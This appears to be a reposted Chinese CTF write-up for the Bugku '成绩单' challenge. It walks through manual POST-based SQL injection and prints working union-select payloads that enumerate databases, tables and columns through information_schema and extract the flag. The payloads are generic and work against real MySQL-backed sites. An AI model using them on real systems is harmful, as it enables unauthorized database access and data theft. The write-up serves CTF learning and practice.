用sqlmap跑post型注入

bugku-成绩单 题目地址

手工注入:

①看到题目,分别提交1,2,3,出现不同的成绩单,可见参数我们是可以控制,通过POST的方式。

②我们尝试输入1 and 1=1#1 and 1=2#发现不报错,应该不是数字型注入。我们输入1',报错,这个数字(id)被'保护起来了。猜测SQL语句:~~~~where id ='$id';我们继续输入1' and 1=1#;和1' and 1=2#,发现前边没错,后边的错了,到了这里 注入点就找到了。

顺便获取有几个显示位。

到5报错,说明有四个可能回显的位置。

union select 1,2,3,4#

四个位置全部可以回显查询的内容。

③查找所有的数据库,输入-1' union select 1,2,3,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#

获得了所有数据库,不过肯定是普通用户,还是只有查看的权限。查询下user()

④查找skctf_flag下的表。-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#

⑤查看fl4g下的列名。-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

⑥ 查看skctf_flag下的内容。-1' union select 1,2,3,skctf_flag from skctf_flag.fl4g#

猜你喜欢

转载自www.cnblogs.com/zaqzzz/p/9580749.html